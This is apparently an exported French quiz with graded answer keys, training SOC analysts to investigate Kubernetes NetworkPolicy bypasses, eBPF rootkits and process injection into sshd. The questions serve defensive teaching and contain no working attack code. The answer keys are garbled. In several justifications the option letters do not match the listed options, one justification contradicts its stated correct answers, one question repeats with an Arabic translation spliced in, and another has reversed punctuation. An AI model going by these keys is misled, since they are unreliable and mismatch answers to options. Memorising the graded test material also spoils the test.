apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-db-access
namespace: e-dossiers
spec:
podSelector:
matchLabels:
app: e-dossiers-backend
policyTypes:
- Ingress
ingress:
- from:
- namespaceSelector:
matchLabels:
purpose: frontend-access
ports:
- protocol: TCP
port: 8080
```

En vous basant exclusivement sur ce manifeste, quelle est la raison la plus probable pour laquelle la connexion sortante du cryptomineur est autorisée ?

a. **Le CNI (Container Network Interface) du cluster est mal configuré et n'applique aucune politique réseau, rendant la `NetworkPolicy` inefficace.**

b. **Le pod compromis utilise le service DNS du cluster pour résoudre l'adresse du pool de minage, et ce trafic DNS sortant est implicitement autorisé par défaut.**

c. **Le pare-feu FortiGate en périphérie du cluster n'inspecte pas le trafic Est-Ouest et ne peut donc pas bloquer la communication initiée depuis un pod.**

d. **Aucune des réponses proposées.**

e. **Le `podSelector` de la `NetworkPolicy` ne correspond pas aux labels du pod compromis, ce qui fait que la politique ne lui est pas appliquée.**

Analyse technique : La `NetworkPolicy` présentée contient le champ `policyTypes` avec la seule valeur `Ingress`. Selon la spécification de Kubernetes, lorsque ce champ est défini, seules les politiques de ce type sont appliquées par la règle. L'absence de `Egress` dans la liste `policyTypes` signifie que cette politique ne définit aucune règle de sortie. Par conséquent, le trafic sortant (egress) du pod n'est pas affecté par cette politique et reste soumis au comportement par défaut du cluster, qui est généralement d'autoriser tout le trafic sortant.

Justification :

- **L'option A est incorrecte car le scénario stipule que le pod a le label correspondant au `podSelector`.**
- **L'option B est incorrecte car bien que le FortiGate ne voie pas le trafic interne, la `NetworkPolicy` est le mécanisme de contrôle pertinent ici, et son échec est la cause racine, pas le rôle du pare-feu externe.**
- **L'option C est une possibilité générique, mais le manifeste lui-même contient une faille de configuration spécifique qui explique le comportement sans avoir à supposer une défaillance du CNI.**
- **L'option D est incorrecte car le scénario mentionne une connexion TCP directe vers une adresse IP, rendant le DNS non pertinent pour cette connexion spécifique.**
- **La seule conclusion correcte est que toutes les explications proposées sont fausses. La cause est la configuration de la politique elle-même qui omet de définir des règles de sortie (`Egress`).**

La réponse correcte est : Aucune des réponses proposées.

Noté sur 1,00 Non répondue Question 31

En tant qu'ingénieur cybersécurité au SOC, vous investiguez une alerte Wazuh indiquant que la base de données PostgreSQL critique `postgres-prod` : (namespace: `production`) a reçu une connexion non autorisée. L'analyse révèle les faits suivants :

1. Une `NetworkPolicy` d'ingress stricte est en place sur le namespace `production`, n'autorisant le trafic sur le port 5432 que depuis les pods du namespace `api-prod`.
2. Le log PostgreSQL indique que l'IP source de la connexion est `10.40.1.5`, l'adresse IP d'un des nœuds Kubernetes, et non l'IP d'un pod autorisé.
3. La trace de l'attaque montre qu'un pod vulnérable à une SSRF dans le namespace `monitoring` a été utilisé pour envoyer une requête HTTP à un service interne : `http://db-alias.default.svc.cluster.local`.
4. La commande `kubectl describe svc db-alias -n default` révèle que ce service est de type `ExternalName` et pointe vers le FQDN `postgres-prod.production.svc.cluster.local`.

Compte tenu de ces informations, quelles affirmations fournissent l'analyse technique la plus précise de la faille de sécurité et les mesures de remédiation les plus efficaces ? (Plusieurs réponses peuvent être correctes)

a. **Aucune des réponses proposées.**

b. **La politique d'ingress est contournée car le trafic, après redirection par le service `ExternalName`, subit une traduction d'adresse source (SNAT). L'IP source vue par le pod `postgres-prod` est celle du nœud, qui n'est pas ciblée par les sélecteurs de la politique. La remédiation complète nécessite la suppression du service `ExternalName` et le renforcement de la politique d'ingress pour refuser par défaut tout trafic ne provenant pas explicitement des pods autorisés.**

c. **Le conteneur PostgreSQL a probablement été déployé avec l'option `hostNetwork: true`, ce qui expose le port de la base de données directement sur l'IP du nœud et ignore les NetworkPolicies du pod. La remédiation consiste à redéployer le pod avec `hostNetwork: false`.**

d. **La vulnérabilité SSRF a permis à l'attaquant de contourner directement la NetworkPolicy. La remédiation consiste à corriger la vulnérabilité SSRF et à mettre en place un Web Application Firewall (WAF) en amont.**

e. **Le service `ExternalName` agit comme un alias DNS. Le trafic du pod `monitoring` vers `db-alias` est résolu par CoreDNS, et la connexion finale vers `postgres-prod` semble provenir de la pile réseau du nœud, contournant ainsi la politique qui filtre sur les labels de pods/namespaces. La remédiation principale est de supprimer le service `ExternalName` et d'appliquer une politique de sortie (Egress) sur le namespace `monitoring`.**

Analyse technique : L'attaque exploite une chaîne de vulnérabilités et de mauvaises configurations. La SSRF est le point d'entrée, mais le contournement de la segmentation est dû au service `ExternalName`. Ce type de service fonctionne au niveau DNS, retournant un CNAME. Lorsque le client (le pod `monitoring`) tente de se connecter, la connexion est établie vers la destination finale (`postgres-prod`). Cependant, le trafic sortant du nœud peut être sujet à du SNAT (Source Network Address Translation), faisant apparaître l'IP du nœud comme source. Une `NetworkPolicy` d'ingress qui filtre sur des `podSelector` ou `namespaceSelector` ne s'appliquera pas à ce trafic, car la source n'est pas un pod avec les bons labels.

Justification : Les réponses B et D décrivent correctement ce mécanisme. La réponse A est incomplète car elle ne traite que le point d'entrée et ignore le mécanisme de contournement de la politique réseau. La réponse C est un distracteur plausible mais incorrect, car le scénario décrit une attaque via un service Kubernetes, et non un accès direct au port du nœud qui serait causé par `hostNetwork: true`.

Les réponses correctes sont : Le service `ExternalName` agit comme un alias DNS. Le trafic du pod `monitoring` vers `db-alias` est résolu par CoreDNS, et la connexion finale vers `postgres-prod` semble provenir de la pile réseau du nœud, contournant ainsi la politique qui filtre sur les labels de pods/namespaces.

La remédiation principale est de supprimer le service `ExternalName` et d'appliquer une politique de sortie (Egress) sur le namespace `monitoring`., La politique d'ingress est contournée car le trafic, après redirection par le service `ExternalName`, subit une traduction d'adresse source (SNAT). L'IP source vue par le pod `postgres-prod` est celle du nœud, qui n'est pas ciblée par les sélecteurs de la politique. La remédiation complète nécessite la suppression du service `ExternalName`. et le renforcement de la politique d'ingress pour refuser par défaut tout trafic ne provenant pas explicitement des pods autorisés

Noté sur 1,00 Non répondue Question 32

En tant qu'analyste au SOC de la Police Nationale, vous investiguez une exfiltration de données réussie depuis un pod `e-dossiers-api` dans un cluster Kubernetes, malgré la présence d'une politique réseau (NetworkPolicy) de sortie (Egress) restrictive. Vous disposez des faits suivants :

1. **Log FortiGate :** `action=accept` pour un flux TCP depuis l'IP du nœud Kubernetes (10.40.1.15) vers une IP externe malveillante (185.X.X.X) sur le port 80.
2. **Log Wazuh (sur le nœud) :** Le processus à l'intérieur du pod `e-dossiers-api` est confirmé comme étant la source de la connexion.
3. **Configuration du Pod :** `kubectl describe pod` montre que le pod utilise un `hostPort`, mappant le port 8080 du conteneur au port 8080 du nœud. L'option `hostNetwork` n'est pas activée (`false`).
4. **Configuration de la NetworkPolicy :** Une politique `default-deny` est bien appliquée sur le namespace, interdisant tout trafic Egress sauf vers des destinations internes spécifiques.

Parmi les options suivantes, quelle est la raison technique la plus probable de ce contournement de la politique Egress ?

a. **Aucune des réponses proposées.**

b. **Le pod s'exécutait en mode privilégié, ce qui a permis à l'attaquant de s'échapper du conteneur et de modifier les règles iptables sur le nœud pour autoriser le trafic.**

c. **Le trafic a été routé via le service `kube-proxy`, qui, en tant que composant système, n'est pas soumis aux restrictions des NetworkPolicies.**

d. **Le pod était configuré avec `hostNetwork: true`, ce qui lui a permis de contourner la pile réseau du pod et donc la NetworkPolicy.**

e. **Le `podSelector` de la NetworkPolicy ne correspondait pas aux labels du pod `e-dossiers-api`, la politique n'a donc jamais été appliquée à ce pod.**

Analyse technique : La bonne réponse est "Aucune des réponses proposées". La cause la plus probable est l'utilisation de `hostPort`. Certains plugins CNI (Container Network Interface) implémentent `hostPort` via des règles DNAT dans les iptables du nœud. Ce trafic, une fois qu'il quitte le pod, est immédiatement traité par ces règles DNAT/SNAT sur l'hôte avant que les règles de la NetworkPolicy Egress (qui opèrent dans d'autres chaînes iptables) ne puissent l'intercepter. Le trafic apparaît donc comme provenant de l'IP du nœud et contourne la politique de sécurité définie au niveau du pod.

Justification :

- **L'option A est incorrecte car les preuves indiquent explicitement que `hostNetwork` est à `false`.**
- **L'option B est une possibilité théorique pour une évasion de conteneur, mais elle n'est pas la cause directe et la plus simple expliquant le phénomène observé. L'utilisation de `hostPort` est une explication plus directe et ne nécessite pas une évasion complète.**
- **L'option C est incorrecte car une politique `default-deny` (avec un `podSelector` vide `{}`) s'applique à tous les pods du namespace, qu'ils aient des labels correspondants ou non.**
- **L'option D est incorrecte car `kube-proxy` gère le trafic des Services Kubernetes et n'est généralement pas impliqué dans le routage du trafic Egress arbitraire d'un pod d'une manière qui contournerait les politiques.**

La réponse correcte est : Aucune des réponses proposées.

Noté sur 1,00 Non répondue Question 33

En tant qu'ingénieur au SOC de la Police Nationale, vous analysez une alerte critique. Le SIEM (ELK) signale une communication sortante depuis l'un de vos clusters Kubernetes vers une adresse IP externe connue pour héberger des serveurs de commande et de contrôle (C2).

Contexte technique :

- **Source de l'alerte :** Les logs du pare-feu FortiGate montrent une connexion TCP sur le port 80 depuis l'adresse IP du nœud de travail `k8s-worker-02` (IP: 10.30.15.12) vers l'IP malveillante 198.51.100.210.

- **Analyse sur l'hôte :** L'agent Wazuh sur le nœud `k8s-worker-02` confirme que le processus initiateur de la connexion est un binaire nommé `e-dossiers-api`, s'exécutant dans le contexte d'un pod spécifique.
- **Configuration Kubernetes :** Le pod en question, `e-dossiers-api-xyz`, se trouve dans le namespace `production`. Une inspection avec `kubectl describe pod e-dossiers-api-xyz -n production` montre qu'il a une adresse IP de pod standard (ex: 192.168.50.100) et que l'option `hostNetwork` est bien définie sur `false`.
- **Politique de sécurité :** Une politique réseau (NetworkPolicy) stricte est appliquée pour refuser par défaut tout le trafic de sortie (Egress) pour tous les pods du namespace `production`, à l'exception des flux DNS vers CoreDNS.

Malgré la NetworkPolicy, la connexion vers l'IP externe a été initiée depuis le pod et observée sur le pare-feu avec l'IP du nœud comme source. Quelle est l'explication technique la plus probable de cette évasion de la politique de sécurité ?

a. **Le pod a été déployé avec l'option `hostNetwork: true`. Cela attache le pod directement à l'espace réseau du nœud, ce qui fait que son trafic contourne le plugin CNI et l'application des NetworkPolicies, et sort directement avec l'IP du nœud.**

b. **Les NetworkPolicies de type Egress ne s'appliquent qu'au trafic intra-cluster (pod-à-pod ou pod-à-service). Le trafic destiné à une adresse IP externe n'est pas filtré par le CNI et est directement géré par les règles de routage et de SNAT du nœud.**

c. **Le trafic du pod est d'abord routé vers le pont réseau `docker0` de l'hôte, qui effectue une traduction d'adresse source (SNAT) vers l'IP du nœud. La NetworkPolicy, qui s'attend à voir l'IP du pod, ne peut donc pas s'appliquer car la source a déjà été modifiée.**

d. **L'attaquant utilise des sockets brutes (raw sockets) depuis le conteneur pour forger des paquets IP avec l'adresse IP source du nœud. Ce type de trafic de bas niveau n'est pas intercepté par les règles iptables ou eBPF générées par la NetworkPolicy.**

e. **Aucune des réponses proposées.**

> **Analyse technique :**
>
> **Ce scénario est conçu pour tester la compréhension approfondie du modèle de réseau de Kubernetes et de l'application des NetworkPolicies. Le fait que le trafic sorte avec l'IP du nœud est normal pour le trafic externe (SNAT), mais il aurait dû être bloqué avant par la NetworkPolicy. Aucune des options proposées n'explique correctement pourquoi une politique Egress "deny-all" correctement ciblée aurait échoué dans ce contexte.**
>
> **Justification :**
>
> **La cause racine la plus probable, non listée, est une erreur de configuration fondamentale : la NetworkPolicy a été créée dans le mauvais namespace (par exemple, `default` au lieu de `production`). Une NetworkPolicy ne s'applique qu'aux pods du namespace où elle est définie. Si elle n'est pas dans le namespace `production`, le `podSelector` ne correspondra à aucun pod, et la politique ne sera jamais appliquée au pod `e-dossiers-api-xyz`, qui conservera alors le comportement par défaut (autoriser tout le trafic sortant).**
>
> - **L'option A est invalidée par la description du pod (`hostNetwork: false`).**
> - **L'option B est une hypothèse plausible mais trop spécifique et moins courante qu'une erreur de configuration. L'attaquant aurait besoin de privilèges élevés (`CAP_NET_RAW`) pour cela.**
> - **L'option C est factuellement incorrecte. Les politiques Egress sont spécifiquement conçues pour contrôler le trafic vers des destinations externes via des blocs CIDR.**
> - **L'option D est incorrecte car elle confond le modèle réseau de Docker avec celui de Kubernetes. Le CNI gère le réseau et applique les politiques avant que le trafic ne soit soumis au SNAT de sortie du nœud.**

La réponse correcte est : Aucune des réponses proposées.

Noté sur 1,00 Non répondue Question 34

Question : En tant qu'analyste au SOC de la Police Nationale, vous investiguez un trafic DNS anormal (ressemblant à un DGA - Domain Generation Algorithm) provenant d'un serveur Ubuntu critique hébergeant des conteneurs Docker. Les outils standards (`ps`, `lsof`) ne révèlent aucun processus suspect. Cependant, la commande `bpftool prog list` affiche un programme eBPF inconnu, de type `cgroup/connect4`, attaché au cgroup racine de l'hôte, sans fichier correspondant sur le disque.

Quelles sont les conclusions les plus précises et les actions de réponse les plus efficaces parmi les suivantes ? (Plusieurs réponses sont correctes)

a. Aucune des réponses proposées.

b. L'investigation immédiate doit inclure le dump du bytecode et du code JIT-compilé du programme via `bpftool prog dump xlated/jited` pour analyse. Le confinement nécessite de détacher le programme avec `bpftool cgroup detach` et de bloquer les domaines DGA identifiés via le filtre DNS du FortiGate.

c. Le serveur doit être immédiatement redémarré pour effacer la menace en mémoire. Après le redémarrage, une analyse complète du disque avec un outil comme `chkrootkit` doit être effectuée pour trouver le mécanisme de persistance.

d. Le programme eBPF est probablement un rootkit "fileless". Son type `cgroup/connect4` suggère qu'il intercepte les appels système `connect` IPv4, vraisemblablement pour rediriger ou détourner des connexions réseau pour sa communication C2 (Commande et Contrôle), ce qui explique le trafic DGA.

e. La compromission est certainement limitée au conteneur Docker. L'action prioritaire est d'isoler le conteneur du réseau (`docker network disconnect`), puis de faire un dump mémoire du processus du conteneur pour analyse forensique.

f. Le programme eBPF est probablement un composant d'un outil de sécurité légitime (ex: Falco) ou d'un plugin CNI (ex: Cilium) qui est mal configuré. La priorité est de vérifier la configuration de ces outils et de redémarrer le service kubelet.

> Analyse technique : Ce scénario teste la capacité à identifier et à répondre à une menace avancée et furtive utilisant eBPF, une technologie puissante du noyau Linux. Une menace "fileless" de ce type contourne les détections basées sur les fichiers et les processus traditionnels.
>
> Justification :
>
> - L'option A est correcte car elle identifie précisément la nature de la menace. Un programme eBPF de type `cgroup/connect4` est spécifiquement conçu pour s'accrocher à l'appel système `connect()` pour les sockets IPv4. C'est une méthode idéale pour un rootkit afin de manipuler le trafic réseau sortant pour des communications C2, ce qui correspond parfaitement au trafic DGA observé.
> - L'option B est correcte car elle décrit la procédure d'investigation et de confinement technique appropriée pour une menace eBPF. `bpftool prog dump` est l'outil natif pour inspecter le code du programme malveillant. Le détachement via `bpftool cgroup detach` est la méthode "chirurgicale" pour neutraliser le programme sans redémarrer le serveur (ce qui détruirait les preuves volatiles). Le blocage des domaines DGA sur le FortiGate est une mesure de confinement réseau complémentaire essentielle.
> - Les autres options représentent des erreurs communes ou des analyses incomplètes : se concentrer uniquement sur le conteneur, confondre une attaque avec une mauvaise configuration, ou appliquer des mesures de réponse aux incidents inappropriées comme un redémarrage prématuré.

> Les réponses correctes sont : Le programme eBPF est probablement un rootkit "fileless". Son type `cgroup/connect4` suggère qu'il intercepte les appels système `connect` IPv4, vraisemblablement pour rediriger ou détourner des connexions réseau pour sa communication C2 (Commande et Contrôle), ce qui explique le trafic DGA., L'investigation immédiate doit inclure le dump du bytecode et du code JIT-compilé du programme via `bpftool prog dump xlated/jited` pour analyse. Le confinement nécessite de détacher le programme avec `bpftool cgroup detach` et de bloquer les domaines DGA identifiés via le filtre DNS du FortiGate.

Noté sur 1,00 Non répondue Question 35

En tant qu'analyste au SOC de la Police Nationale, vous investiguez un trafic DNS anormal (ressemblant à un DGA - Domain Generation Algorithm) provenant d'un serveur Ubuntu critique hébergeant des conteneurs Docker. Les outils standards (`ps`, `lsof`) ne révèlent aucun processus suspect. Cependant, la commande `bpftool prog list` affiche un programme eBPF inconnu, de type `cgroup/connect4`, attaché au cgroup racine de l'hôte, sans fichier correspondant sur le disque. بصفتك محللاً في مركز عمليات الأمن السيبراني (SOC) للشرطة الوطنية، فإنك تحقق في حركة مرور DNS غير طبيعية (تشبه خوارزمية توليد النطاقات - DGA) صادرة من خادم Ubuntu حرج يستضيف حاويات Docker. الأدوات القياسية (`ps`, `lsof`) لا تكشف عن أي عمليات مشبوهة. ومع ذلك، يعرض الأمر `bpftool prog list` برنامج eBPF غير معروف، من نوع `cgroup/connect4`، مرتبط بمجموعة التحكم الجذرية (root cgroup) للمضيف، دون وجود ملف مقابل له على القرص.

Quelles sont les conclusions les plus précises et les actions de réponse les plus efficaces parmi les suivantes ? (Plusieurs réponses peuvent être correctes) ما هي الاستنتاجات الأكثر دقة وإجراءات الاستجابة الأكثر فعالية من بين الخيارات التالية؟ (قد تكون هناك إجابات صحيحة متعددة)

a. L'attaque est de type "fileless" en espace utilisateur. Le programme eBPF est juste un symptôme utilisé pour rediriger le trafic d'un processus légitime. Il faut immédiatement faire un dump mémoire du processus `postgres` avec `gcore` et analyser les chaînes de caractères pour trouver le code malveillant injecté. الهجوم من نوع "بدون ملفات" في مساحة المستخدم. برنامج eBPF هو مجرد عرض يستخدم لإعادة توجيه حركة مرور عملية شرعية. يجب على الفور إجراء تفريغ لذاكرة عملية `postgres` باستخدام `gcore` وتحليل السلاسل النصية للعثور على الكود الخبيث المحقون.

b. **Il s'agit d'un rootkit de type LKM (Loadable Kernel Module) qui se masque en utilisant des techniques eBPF. La procédure correcte est d'utiliser `lsmod` pour lister les modules, `rmmod` pour décharger le module suspect, puis de lancer un scan antivirus complet du système de fichiers.**هذا عبارة عن روتكيت من نوع **LKM** (وحدة نواة قابلة للتحميل) يتخفى باستخدام تقنيات **eBPF**. الإجراء الصحيح هو استخدام `lsmod` لسرد الوحدات، و`rmmod` لتفريغ الوحدة المشبوهة، ثم إجراء فحص كامل لمكافحة الفيروسات لنظام الملفات.

c. **Aucune des réponses proposées.**لا شيء من الإجابات المقترحة.

d. **Le programme eBPF est probablement un composant d'un outil de sécurité ou de monitoring réseau (comme Cilium ou Falco) mal configuré qui génère du trafic de test. L'action consiste à identifier l'outil, à consulter sa documentation pour le reconfigurer correctement et à ajouter une exception dans le SIEM pour ce trafic.**من المحتمل أن يكون برنامج **eBPF** مكونًا لأداة أمان أو مراقبة شبكة (مثل **Cilium** أو **Falco**) تم تكوينها بشكل خاطئ وتولد حركة مرور اختبارية. الإجراء هو تحديد الأداة، ومراجعة وثائقها لإعادة تكوينها بشكل صحيح، وإضافة استثناء في نظام **SIEM** لهذه الحركة.

e. **L'attaque est une évasion de conteneur. Un conteneur compromis a obtenu des privilèges sur l'hôte pour charger le programme eBPF. La réponse immédiate est d'identifier et de stopper le conteneur source avec `docker stop`, puis de scanner l'image Docker avec Trivy pour trouver la vulnérabilité initiale.**الهجوم هو هروب من حاوية. لقد حصلت حاوية مخترقة على امتيازات على المضيف لتحميل برنامج **eBPF**. الاستجابة الفورية هي تحديد وإيقاف الحاوية المصدر باستخدام `docker stop`، ثم فحص صورة **Docker** باستخدام **Trivy** للعثور على الثغرة الأولية.

> **Analyse technique : La présence d'un programme eBPF de type `cgroup/connect4` non identifié, chargé directement dans le noyau sans fichier sur le disque, et corrélé à un trafic réseau malveillant (DGA), est un indicateur de haute confiance d'un rootkit eBPF. Ce type de rootkit s'accroche aux appels système (ici, `connect()` pour IPv4) pour initier sa propre communication C2, le rendant invisible aux outils d'investigation en espace utilisateur comme `ps` ou `lsof`. Les distracteurs sont incorrects car ils se concentrent sur des vecteurs moins probables ou des analyses incomplètes : un LKM est différent d'eBPF, une évasion de conteneur est un vecteur d'entrée possible mais pas la menace actuelle, et le trafic DGA exclut une simple mauvaise configuration.**تحليل فني: إن وجود برنامج **eBPF** من نوع `cgroup/connect4` غير معروف، تم تحميله مباشرة في النواة بدون ملف على القرص، ومرتبط بحركة مرور شبكة خبيثة (**DGA**)، هو مؤشر عالي الثقة على وجود روتكيت (**rootkit**) يعتمد على **eBPF**. هذا النوع من الروتكيت يرتبط باستدعاءات النظام (هنا، `connect()` لـ **IPv4**) لبدء اتصالاته الخاصة بالقيادة والتحكم (**C2**)، مما يجعله غير مرئي لأدوات التحقيق في مساحة المستخدم مثل `ps` أو `lsof`. الخيارات المضللة غير صحيحة لأنها تركز على نواقل هجوم أقل احتمالاً أو تحليلات غير مكتملة: يختلف **LKM** عن **eBPF**، والهروب من الحاوية هو ناقل دخول محتمل ولكنه ليس التهديد الحالي، وحركة مرور **DGA** تستبعد أن يكون مجرد خطأ في التكوين.
>
> **Justification : Aucune des options proposées ne décrit le plan de réponse complet et adéquat. La procédure correcte pour un expert serait : 1) Isoler immédiatement l'hôte au niveau du réseau pour couper la communication C2. 2) Préserver les preuves volatiles en effectuant un dump complet de la mémoire vive (RAM) de l'hôte, car le programme malveillant n'existe qu'en mémoire. 3) Utiliser `bpftool` pour dumper le code du programme eBPF depuis le noyau à des fins d'analyse. 4) Planifier la reconstruction complète du serveur à partir d'une source fiable, car l'intégrité du noyau est compromise et on ne peut plus lui faire confiance. Le simple fait de détacher le programme eBPF est insuffisant.**التبرير: لا يصف أي من الخيارات المقترحة خطة الاستجابة الكاملة والمناسبة. الإجراء الصحيح للخبير سيكون: **1)** عزل المضيف فوراً على مستوى الشبكة لقطع اتصال القيادة والتحكم. **2)** الحفاظ على الأدلة المتطايرة عن طريق إجراء تفريغ كامل لذاكرة الوصول العشوائي (**RAM**) للمضيف، لأن البرنامج الخبيث موجود فقط في الذاكرة. **3)** استخدام `bpftool` لتفريغ كود برنامج **eBPF** من النواة لأغراض التحليل. **4)** التخطيط لإعادة بناء الخادم بالكامل من مصدر موثوق، حيث أن سلامة النواة قد تم اختراقها ولم يعد من الممكن الوثوق بها. مجرد فصل برنامج **eBPF** غير كافٍ.

La réponse correcte est : Aucune des réponses proposées.لا شيء من الإجابات المقترحة.

Note de 1,00 sur 1,00 Correct Question 36

Scénario :

En tant qu'analyste au SOC de la Police Nationale, vous investiguez une alerte critique du pare-feu FortiGate : une connexion TCP sortante persistante est initiée depuis le serveur Ubuntu critique "SRV-JUDICIAIRE" (10.20.30.5) vers une adresse IP externe non répertoriée (185.X.X.X) sur le port 4433.

Vos investigations initiales sur le serveur révèlent des faits contradictoires :

1. La commande `lsof -i` confirme que la connexion est bien initiée par le processus `/usr/sbin/sshd` avec un PID stable.
2. Une vérification de l'intégrité du binaire `/usr/sbin/sshd` avec `sha256sum` montre qu'il correspond au hash officiel du paquet Ubuntu.
3. L'agent Wazuh (avec FIM activé) ne signale aucune modification de fichier suspecte dans `/etc`, `/usr/sbin`, ou d'autres répertoires système.
4. La ligne de commande du processus `sshd` (via `ps aux`) est normale et ne montre aucun argument suspect.

Face à cette situation, qui suggère une compromission furtive, quelles sont l'hypothèse d'attaque la plus probable et la commande d'investigation la plus pertinente à exécuter ensuite pour la valider ? (Plusieurs réponses sont correctes)

a. **Hypothèse : Le binaire `sshd` a été remplacé par une version trojanisée, puis restauré après l'établissement de la connexion. Il faut immédiatement vérifier les sauvegardes du serveur.**

.b Hypothèse : L'attaquant a utilisé une technique d'injection de code en mémoire ("fileless") pour charger une bibliothèque partagée malveillante directement dans .l'espace mémoire du processus `sshd`, sans écrire de fichier sur le disque

Correct. Cette hypothèse explique tous les indicateurs : le processus source est légitime, son binaire est intact, et aucun fichier n'a été modifié, ce qui est caractéristique d'une .attaque en mémoire avancée

.c .Aucune des réponses proposées

.d Investigation : Utiliser la commande `cat /proc/[PID_de_sshd]/maps` pour rechercher des segments de mémoire anonymes avec des permissions d'exécution (r-xp), ce qui indiquerait du code chargé qui ne provient pas d'un fichier sur le .disque

Correct. C'est la commande forensique la plus directe et la plus efficace pour confirmer une injection de code en mémoire. La découverte d'une telle région de mémoire est .une preuve quasi certaine de la compromission

.e Investigation : Isoler immédiatement le serveur du réseau via le FortiGate et effectuer un dump complet de la mémoire vive avec un outil .comme LiME (Linux Memory Extractor) pour une analyse forensique ultérieure

.f Hypothèse : L'attaquant utilise la technique de préchargement via `LD_PRELOAD`. Il faut vérifier le fichier `/etc/ld.so.preload` et les variables .d'environnement du processus `sshd` via `/proc/[PID]/environ`

: Analyse technique

Ce scénario est conçu pour tester la capacité d'un analyste à dépasser les outils de diagnostic de surface et à identifier une menace "fileless" (sans fichier) avancée. Les indicateurs contradictoires (processus légitime initiant un trafic malveillant, intégrité du binaire confirmée, absence d'alerte FIM) visent à .écarter les hypothèses classiques pour orienter le candidat vers des techniques d'évasion modernes

La technique la plus probable est l'injection de code en mémoire. Un attaquant, ayant obtenu un accès initial (par exemple, via une vulnérabilité applicative), utilise des appels système avancés (comme `memfd_create` et `process_vm_writev`) pour allouer une région de mémoire dans un processus cible stable (ici, `sshd`), y écrire son code malveillant (une bibliothèque partagée, ou .so), puis l'exécuter. Ce code, opérant depuis la mémoire, peut alors initier une connexion C2 sans jamais avoir été écrit sur le disque de manière persistante, déjouant ainsi les antivirus basés sur les signatures et les systèmes de .surveillance de l'intégrité des fichiers

: Justification

- Réponse A (Correcte) : C'est l'hypothèse la plus plausible. Elle explique comment un processus légitime peut émettre un trafic malveillant sans que .son binaire sur le disque soit modifié. C'est une technique de choix pour les attaquants cherchant la furtivité
- Réponse B (Correcte) : C'est l'étape d'investigation forensique la plus directe et efficace pour valider l'hypothèse A. Le pseudo-système de fichiers `/proc` expose l'état interne des processus. Le fichier `maps` liste les segments de mémoire mappés. Un segment anonyme (non associé à un fichier) .avec des permissions d'exécution (`r-xp`) est un indicateur de compromission très fort pour du code injecté en mémoire
- Réponse C (Incorrecte) : C'est un distracteur plausible mais contredit par le fait que le hash du binaire est correct. Si le binaire avait été remplacé, .son hash serait différent
- Réponse D (Incorrecte) : Le préchargement via `LD_PRELOAD` est une autre technique "fileless", mais elle repose sur la définition d'une variable d'environnement qui pointe vers un chemin de fichier sur le disque (même si ce fichier est ensuite supprimé). L'injection directe en mémoire est plus .avancée et ne laisse pas cette trace. L'inspection de `/proc/[PID]/maps` est une méthode plus fondamentale pour détecter les deux types d'attaques
- Réponse E (Incorrecte) : Un module PAM malveillant serait un fichier `.so` sur le disque, typiquement dans `/lib/security/` ou un chemin similaire. .Cela aurait dû être détecté par Wazuh FIM si la surveillance était correctement configurée pour ces répertoires

Les réponses correctes sont : **Hypothèse :** L'attaquant a utilisé une technique d'injection de code en mémoire ("fileless") pour charger une bibliothèque partagée malveillante directement dans l'espace mémoire du processus `sshd`, sans écrire de fichier sur le disque., **Investigation :** Utiliser la commande `cat /proc/[PID_de_sshd]/maps` pour rechercher des segments de mémoire anonymes avec des permissions d'exécution (r-xp), ce qui indiquerait du code chargé .qui ne provient pas d'un fichier sur le disque

Noté sur 1,00 Non répondue Question 37

En tant qu'analyste au SOC de la Police Nationale, vous investiguez une alerte critique du pare-feu FortiGate : une connexion TCP sortante persistante est initiée depuis le serveur Ubuntu critique "SRV-JUDICIAIRE" (10.20.30.5) vers une adresse IP externe non répertoriée (185.X.X.X) .sur le port 4433

: Vos investigations sur le serveur révèlent les faits suivants

1. .La commande `lsof -i` confirme que la connexion est initiée par le processus légitime `/usr/sbin/sshd` avec un PID stable
2. .Une vérification de l'intégrité du binaire `/usr/sbin/sshd` avec `sha256sum` montre qu'il correspond au hash officiel du paquet Ubuntu
3. .L'agent Wazuh (avec FIM activé) ne signale aucune modification de fichier suspecte

4. Les logs d'audit (auditd) révèlent un appel système `ptrace` suspect visant le PID du processus `sshd`, survenu juste avant le début de la connexion sortante.

Face à cette situation qui suggère une compromission furtive où un processus légitime exécute des actions malveillantes, quelles sont l'hypothèse d'attaque la plus probable et l'action d'investigation la plus pertinente à mener immédiatement ? (Plusieurs réponses sont correctes)

a. **Le binaire `/usr/sbin/sshd` a été remplacé par une version malveillante puis restauré rapidement pour échapper à la détection. L'action immédiate est de bloquer l'IP C2 sur le FortiGate et de forcer la réinstallation du paquet `openssh-server`.**

b. **L'attaque est probablement un rootkit au niveau du noyau (Kernel Rootkit) qui a "hooké" les appels réseau du processus `sshd`. L'action immédiate est de redémarrer le serveur sur un noyau sain.**

c. **L'hypothèse la plus probable est une attaque par injection de processus (Process Injection, T1055). Un code malveillant a été injecté dans l'espace mémoire du processus `sshd` légitime, le forçant à établir la connexion C2.**

d. **L'action prioritaire est de réaliser une capture complète de la mémoire vive (RAM) du processus `sshd` (par exemple avec `gcore` ou `dd` sur `/proc/[pid]/mem`) avant toute action de confinement, afin de préserver les artefacts volatiles pour l'analyse forensique.**

e. **Aucune des réponses proposées.**

> **: Analyse technique**
>
> **Ce scénario est un cas classique d'attaque "fileless" ou en mémoire. Les indicateurs (binaire sur disque non modifié, comportement malveillant en exécution, appel `ptrace` suspect) pointent fortement vers une injection de processus (MITRE ATT&CK T1055). L'attaquant a utilisé une technique pour écrire et exécuter du code dans l'espace mémoire d'un processus de confiance (`sshd`) pour masquer ses activités et potentiellement hériter de ses privilèges.**
>
> **: Justification**
>
> **La priorité absolue en réponse à incident est la préservation des preuves selon leur ordre de volatilité. La mémoire vive est la plus volatile. Redémarrer le service ou le serveur détruirait l'artefact le plus important : le code malveillant résidant en mémoire. L'hypothèse du rootkit est moins probable car l'anomalie est contenue dans un processus spécifique, et l'alerte `ptrace` est un indice fort d'interaction au niveau processus, pas noyau. L'hypothèse du remplacement de binaire est contredite par l'absence d'alerte FIM de Wazuh. Par conséquent, l'analyse de la mémoire du processus compromis est l'étape logique et cruciale.**

> Les réponses correctes sont : L'hypothèse la plus probable est une attaque par injection de processus (Process Injection, T1055). Un code malveillant a été injecté dans l'espace mémoire du processus `sshd` légitime, le forçant à établir la connexion C2., L'action prioritaire est de réaliser une capture complète de la mémoire vive (RAM) du processus `sshd` (par exemple avec `gcore` ou `dd` sur `/proc/[pid]/mem`) avant toute action de confinement, afin de préserver les artefacts volatiles pour l'analyse forensique.

Note de -0,25 sur 1,00 Incorrect Question 38
